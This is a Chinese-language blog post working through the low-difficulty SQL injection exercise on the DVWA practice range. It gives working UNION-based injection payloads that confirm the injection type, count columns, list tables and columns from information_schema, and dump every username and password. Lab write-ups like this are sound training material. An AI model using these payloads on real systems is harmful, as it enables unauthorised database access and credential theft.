OWASP靶场练习

2021-05-30 13:01

阅读:970

标签:image   结构   用户名   concat   cat   users   order   用户   column   

SQL注入

一、LOW难度SQL注入

1.判断注入类型

1.输入1

技术图片

2.输入 1‘ and 1=2,报错

技术图片

3.输入 1‘ and 1=2 #,无报错

技术图片
得知为字符型注入

2.猜字段数

方法有两种:
① 1‘ order by N #
② 1‘ union select 1, 2, ... #
采用第一种方法
输入 1‘ order by 2 #无报错
输入 1‘ order by 3 #报错
得知字段数为2

3.查库名

-1‘ union select 1, database() #
技术图片
得到库名为dvwa

4.查表和字段

首先了解information_schema的结构

技术图片

输入-1‘ union select group_concat(table_name), 2 from information_schema.tables where table_schema = database() #,得到表名

技术图片

查看user表中的字段
输入 -1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘ #
技术图片
得到user表中的字段

输入 -1‘ union select user, password from users #
当然也可以使用-1‘ union select group_concat(user), group_concat(password) from users #
得到所有的用户名和密码
技术图片

OWASP靶场练习

标签:image   结构   用户名   concat   cat   users   order   用户   column   

原文地址:https://www.cnblogs.com/yellowflag/p/14673293.html


评论


亲,登录后才可以留言!